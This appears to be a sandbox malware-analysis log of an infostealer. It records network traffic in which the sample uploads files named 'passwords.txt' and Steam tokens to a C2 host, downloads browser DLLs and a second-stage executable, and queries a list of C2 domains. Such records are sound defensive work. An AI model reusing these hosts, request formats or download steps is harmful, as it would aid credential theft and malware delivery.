Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----FIJDGIJJKEGIEBGCGDHCHost: proxy.johnmccrea.comContent-Length: 4677Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----HIDHDAAEHIEHIECBKJDGHost: proxy.johnmccrea.comContent-Length: 1529Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CGHCGIIDGDAKFIEBKFCFHost: proxy.johnmccrea.comContent-Length: 437Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 47 48 43 47 49 49 44 47 44 41 4b 46 49 45 42 4b 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 61 39 62 62 31 34 31 30 39 37 36 62 63 30 64 38 31 36 31 64 32 62 63 36 63 38 39 64 66 33 63 0d 0a 2d 2d 2d 2d 2d 2d 43 47 48 43 47 49 49 44 47 44 41 4b 46 49 45 42 4b 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 36 36 61 63 37 62 64 65 61 66 37 36 33 62 62 61 66 37 30 61 61 36 64 35 36 36 37 63 38 30 34 0d 0a 2d 2d 2d 2d 2d 2d 43 47 48 43 47 49 49 44 47 44 41 4b 46 49 45 42 4b 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 47 46 7a 63 33 64 76 63 6d 52 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 47 48 43 47 49 49 44 47 44 41 4b 46 49 45 42 4b 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 64 61 74 61 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 43 47 48 43 47 49 49 44 47 44 41 4b 46 49 45 42 4b 46 43 46 2d 2d 0d 0a Data Ascii: ------CGHCGIIDGDAKFIEBKFCFContent-Disposition: form-data; name="token"3a9bb1410976bc0d8161d2bc6c89df3c------CGHCGIIDGDAKFIEBKFCFContent-Disposition: form-data; name="build_id"566ac7bdeaf763bbaf70aa6d5667c804------CGHCGIIDGDAKFIEBKFCFContent-Disposition: form-data; name="file_name"cGFzc3dvcmRzLnR4dA==------CGHCGIIDGDAKFIEBKFCFContent-Disposition: form-data; name="file_data"------CGHCGIIDGDAKFIEBKFCF--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----BKECBAKFBGDGCBGDBAECHost: proxy.johnmccrea.comContent-Length: 437Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 45 43 42 41 4b 46 42 47 44 47 43 42 47 44 42 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 61 39 62 62 31 34 31 30 39 37 36 62 63 30 64 38 31 36 31 64 32 62 63 36 63 38 39 64 66 33 63 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 43 42 41 4b 46 42 47 44 47 43 42 47 44 42 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 36 36 61 63 37 62 64 65 61 66 37 36 33 62 62 61 66 37 30 61 61 36 64 35 36 36 37 63 38 30 34 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 43 42 41 4b 46 42 47 44 47 43 42 47 44 42 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 47 46 7a 63 33 64 76 63 6d 52 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 43 42 41 4b 46 42 47 44 47 43 42 47 44 42 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 64 61 74 61 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 43 42 41 4b 46 42 47 44 47 43 42 47 44 42 41 45 43 2d 2d 0d 0a Data Ascii: ------BKECBAKFBGDGCBGDBAECContent-Disposition: form-data; name="token"3a9bb1410976bc0d8161d2bc6c89df3c------BKECBAKFBGDGCBGDBAECContent-Disposition: form-data; name="build_id"566ac7bdeaf763bbaf70aa6d5667c804------BKECBAKFBGDGCBGDBAECContent-Disposition: form-data; name="file_name"cGFzc3dvcmRzLnR4dA==------BKECBAKFBGDGCBGDBAECContent-Disposition: form-data; name="file_data"------BKECBAKFBGDGCBGDBAEC--
Source: global traffic	HTTP traffic detected: GET //freebl3.dll HTTP/1.1Host: proxy.johnmccrea.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET //mozglue.dll HTTP/1.1Host: proxy.johnmccrea.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET //msvcp140.dll HTTP/1.1Host: proxy.johnmccrea.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET //softokn3.dll HTTP/1.1Host: proxy.johnmccrea.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET //vcruntime140.dll HTTP/1.1Host: proxy.johnmccrea.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET //nss3.dll HTTP/1.1Host: proxy.johnmccrea.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----ECBGIEHDBAAFIDGDAAAAHost: proxy.johnmccrea.comContent-Length: 1145Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----BGCAAFHIEBKJKEBFIEHDHost: proxy.johnmccrea.comContent-Length: 331Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 43 41 41 46 48 49 45 42 4b 4a 4b 45 42 46 49 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 61 39 62 62 31 34 31 30 39 37 36 62 63 30 64 38 31 36 31 64 32 62 63 36 63 38 39 64 66 33 63 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 41 41 46 48 49 45 42 4b 4a 4b 45 42 46 49 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 36 36 61 63 37 62 64 65 61 66 37 36 33 62 62 61 66 37 30 61 61 36 64 35 36 36 37 63 38 30 34 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 41 41 46 48 49 45 42 4b 4a 4b 45 42 46 49 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 33 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 41 41 46 48 49 45 42 4b 4a 4b 45 42 46 49 45 48 44 2d 2d 0d 0a Data Ascii: ------BGCAAFHIEBKJKEBFIEHDContent-Disposition: form-data; name="token"3a9bb1410976bc0d8161d2bc6c89df3c------BGCAAFHIEBKJKEBFIEHDContent-Disposition: form-data; name="build_id"566ac7bdeaf763bbaf70aa6d5667c804------BGCAAFHIEBKJKEBFIEHDContent-Disposition: form-data; name="mode"3------BGCAAFHIEBKJKEBFIEHD--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----FCBFBGDBKJKECAAKKFHDHost: proxy.johnmccrea.comContent-Length: 331Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 43 42 46 42 47 44 42 4b 4a 4b 45 43 41 41 4b 4b 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 61 39 62 62 31 34 31 30 39 37 36 62 63 30 64 38 31 36 31 64 32 62 63 36 63 38 39 64 66 33 63 0d 0a 2d 2d 2d 2d 2d 2d 46 43 42 46 42 47 44 42 4b 4a 4b 45 43 41 41 4b 4b 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 36 36 61 63 37 62 64 65 61 66 37 36 33 62 62 61 66 37 30 61 61 36 64 35 36 36 37 63 38 30 34 0d 0a 2d 2d 2d 2d 2d 2d 46 43 42 46 42 47 44 42 4b 4a 4b 45 43 41 41 4b 4b 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 34 0d 0a 2d 2d 2d 2d 2d 2d 46 43 42 46 42 47 44 42 4b 4a 4b 45 43 41 41 4b 4b 46 48 44 2d 2d 0d 0a Data Ascii: ------FCBFBGDBKJKECAAKKFHDContent-Disposition: form-data; name="token"3a9bb1410976bc0d8161d2bc6c89df3c------FCBFBGDBKJKECAAKKFHDContent-Disposition: form-data; name="build_id"566ac7bdeaf763bbaf70aa6d5667c804------FCBFBGDBKJKECAAKKFHDContent-Disposition: form-data; name="mode"4------FCBFBGDBKJKECAAKKFHD--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----KFHCAEGCBFHJDGCBFHDAHost: proxy.johnmccrea.comContent-Length: 461Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 61 39 62 62 31 34 31 30 39 37 36 62 63 30 64 38 31 36 31 64 32 62 63 36 63 38 39 64 66 33 63 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 36 36 61 63 37 62 64 65 61 66 37 36 33 62 62 61 66 37 30 61 61 36 64 35 36 36 37 63 38 30 34 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 55 32 39 6d 64 46 78 54 64 47 56 68 62 56 78 7a 64 47 56 68 62 56 39 30 62 32 74 6c 62 6e 4d 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 64 61 74 61 22 0d 0a 0d 0a 51 34 39 37 76 51 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 2d 2d 0d 0a Data Ascii: ------KFHCAEGCBFHJDGCBFHDAContent-Disposition: form-data; name="token"3a9bb1410976bc0d8161d2bc6c89df3c------KFHCAEGCBFHJDGCBFHDAContent-Disposition: form-data; name="build_id"566ac7bdeaf763bbaf70aa6d5667c804------KFHCAEGCBFHJDGCBFHDAContent-Disposition: form-data; name="file_name"U29mdFxTdGVhbVxzdGVhbV90b2tlbnMudHh0------KFHCAEGCBFHJDGCBFHDAContent-Disposition: form-data; name="file_data"Q497vQ==------KFHCAEGCBFHJDGCBFHDA--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----AKKECAFBFHJDGDHIEHJDHost: proxy.johnmccrea.comContent-Length: 98621Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----ECBGIEHDBAAFIDGDAAAAHost: proxy.johnmccrea.comContent-Length: 331Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 42 47 49 45 48 44 42 41 41 46 49 44 47 44 41 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 61 39 62 62 31 34 31 30 39 37 36 62 63 30 64 38 31 36 31 64 32 62 63 36 63 38 39 64 66 33 63 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 47 49 45 48 44 42 41 41 46 49 44 47 44 41 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 36 36 61 63 37 62 64 65 61 66 37 36 33 62 62 61 66 37 30 61 61 36 64 35 36 36 37 63 38 30 34 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 47 49 45 48 44 42 41 41 46 49 44 47 44 41 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 35 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 47 49 45 48 44 42 41 41 46 49 44 47 44 41 41 41 41 2d 2d 0d 0a Data Ascii: ------ECBGIEHDBAAFIDGDAAAAContent-Disposition: form-data; name="token"3a9bb1410976bc0d8161d2bc6c89df3c------ECBGIEHDBAAFIDGDAAAAContent-Disposition: form-data; name="build_id"566ac7bdeaf763bbaf70aa6d5667c804------ECBGIEHDBAAFIDGDAAAAContent-Disposition: form-data; name="mode"5------ECBGIEHDBAAFIDGDAAAA--
Source: global traffic	HTTP traffic detected: GET /ldms/a43486128347.exe HTTP/1.1Host: jask.powerforxes.shopCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----IECBAFCAAKJDHJKFIEBGHost: proxy.johnmccrea.comContent-Length: 499Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 45 43 42 41 46 43 41 41 4b 4a 44 48 4a 4b 46 49 45 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 61 39 62 62 31 34 31 30 39 37 36 62 63 30 64 38 31 36 31 64 32 62 63 36 63 38 39 64 66 33 63 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 42 41 46 43 41 41 4b 4a 44 48 4a 4b 46 49 45 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 36 36 61 63 37 62 64 65 61 66 37 36 33 62 62 61 66 37 30 61 61 36 64 35 36 36 37 63 38 30 34 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 42 41 46 43 41 41 4b 4a 44 48 4a 4b 46 49 45 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 35 31 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 42 41 46 43 41 41 4b 4a 44 48 4a 4b 46 49 45 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 61 73 6b 5f 69 64 22 0d 0a 0d 0a 31 32 38 30 39 36 31 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 42 41 46 43 41 41 4b 4a 44 48 4a 4b 46 49 45 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 73 74 61 74 75 73 22 0d 0a 0d 0a 31 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 42 41 46 43 41 41 4b 4a 44 48 4a 4b 46 49 45 42 47 2d 2d 0d 0a Data Ascii: ------IECBAFCAAKJDHJKFIEBGContent-Disposition: form-data; name="token"3a9bb1410976bc0d8161d2bc6c89df3c------IECBAFCAAKJDHJKFIEBGContent-Disposition: form-data; name="build_id"566ac7bdeaf763bbaf70aa6d5667c804------IECBAFCAAKJDHJKFIEBGContent-Disposition: form-data; name="mode"51------IECBAFCAAKJDHJKFIEBGContent-Disposition: form-data; name="task_id"1280961------IECBAFCAAKJDHJKFIEBGContent-Disposition: form-data; name="status"1------IECBAFCAAKJDHJKFIEBG--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----HIJJDGDHDGDAKFIECFIJHost: proxy.johnmccrea.comContent-Length: 331Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 4a 4a 44 47 44 48 44 47 44 41 4b 46 49 45 43 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 61 39 62 62 31 34 31 30 39 37 36 62 63 30 64 38 31 36 31 64 32 62 63 36 63 38 39 64 66 33 63 0d 0a 2d 2d 2d 2d 2d 2d 48 49 4a 4a 44 47 44 48 44 47 44 41 4b 46 49 45 43 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 36 36 61 63 37 62 64 65 61 66 37 36 33 62 62 61 66 37 30 61 61 36 64 35 36 36 37 63 38 30 34 0d 0a 2d 2d 2d 2d 2d 2d 48 49 4a 4a 44 47 44 48 44 47 44 41 4b 46 49 45 43 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 36 0d 0a 2d 2d 2d 2d 2d 2d 48 49 4a 4a 44 47 44 48 44 47 44 41 4b 46 49 45 43 46 49 4a 2d 2d 0d 0a Data Ascii: ------HIJJDGDHDGDAKFIECFIJContent-Disposition: form-data; name="token"3a9bb1410976bc0d8161d2bc6c89df3c------HIJJDGDHDGDAKFIECFIJContent-Disposition: form-data; name="build_id"566ac7bdeaf763bbaf70aa6d5667c804------HIJJDGDHDGDAKFIECFIJContent-Disposition: form-data; name="mode"6------HIJJDGDHDGDAKFIECFIJ--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----BKECBAKFBGDGCBGDBAECHost: cowod.hopto.orgContent-Length: 5757Connection: Keep-AliveCache-Control: no-cache

Source: Joe Sandbox View	IP Address: 141.98.233.156 141.98.233.156
Source: Joe Sandbox View	IP Address: 104.102.49.254 104.102.49.254
Source: Joe Sandbox View	IP Address: 147.45.44.104 147.45.44.104

Source: Joe Sandbox View	ASN Name: CH-NET-ASRO CH-NET-ASRO
Source: Joe Sandbox View	ASN Name: AKAMAI-ASUS AKAMAI-ASUS
Source: Joe Sandbox View	ASN Name: LIFELINK-ASRU LIFELINK-ASRU

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic

Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49837 -> 147.45.44.104:80

Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: sergei-esenin.com

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_00406963 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,InternetSetOptionA,HttpSendRequestA,HttpQueryInfoA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

1_2_00406963

Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: proxy.johnmccrea.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: proxy.johnmccrea.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: proxy.johnmccrea.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET //sql.dll HTTP/1.1Host: proxy.johnmccrea.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET //freebl3.dll HTTP/1.1Host: proxy.johnmccrea.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET //mozglue.dll HTTP/1.1Host: proxy.johnmccrea.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET //msvcp140.dll HTTP/1.1Host: proxy.johnmccrea.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET //softokn3.dll HTTP/1.1Host: proxy.johnmccrea.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET //vcruntime140.dll HTTP/1.1Host: proxy.johnmccrea.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET //nss3.dll HTTP/1.1Host: proxy.johnmccrea.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ldms/a43486128347.exe HTTP/1.1Host: jask.powerforxes.shopCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: proxy.johnmccrea.com
Source: global traffic	DNS traffic detected: DNS query: jask.powerforxes.shop
Source: global traffic	DNS traffic detected: DNS query: spirittunek.store
Source: global traffic	DNS traffic detected: DNS query: mobbipenju.store
Source: global traffic	DNS traffic detected: DNS query: eaglepawnoy.store
Source: global traffic	DNS traffic detected: DNS query: dissapoiznw.store
Source: global traffic	DNS traffic detected: DNS query: studennotediw.store
Source: global traffic	DNS traffic detected: DNS query: bathdoomgaz.store
Source: global traffic	DNS traffic detected: DNS query: licendfilteo.site
Source: global traffic	DNS traffic detected: DNS query: clearancek.site
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: cowod.hopto.org
Source: global traffic	DNS traffic detected: DNS query: sergei-esenin.com

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: sergei-esenin.com

Source: MSBuild.exe, 00000001.00000002.2767304923.0000000023B1D000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2773771439.000000002F9F5000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2780051549.000000003B8D7000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2763898778.000000001DBA6000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
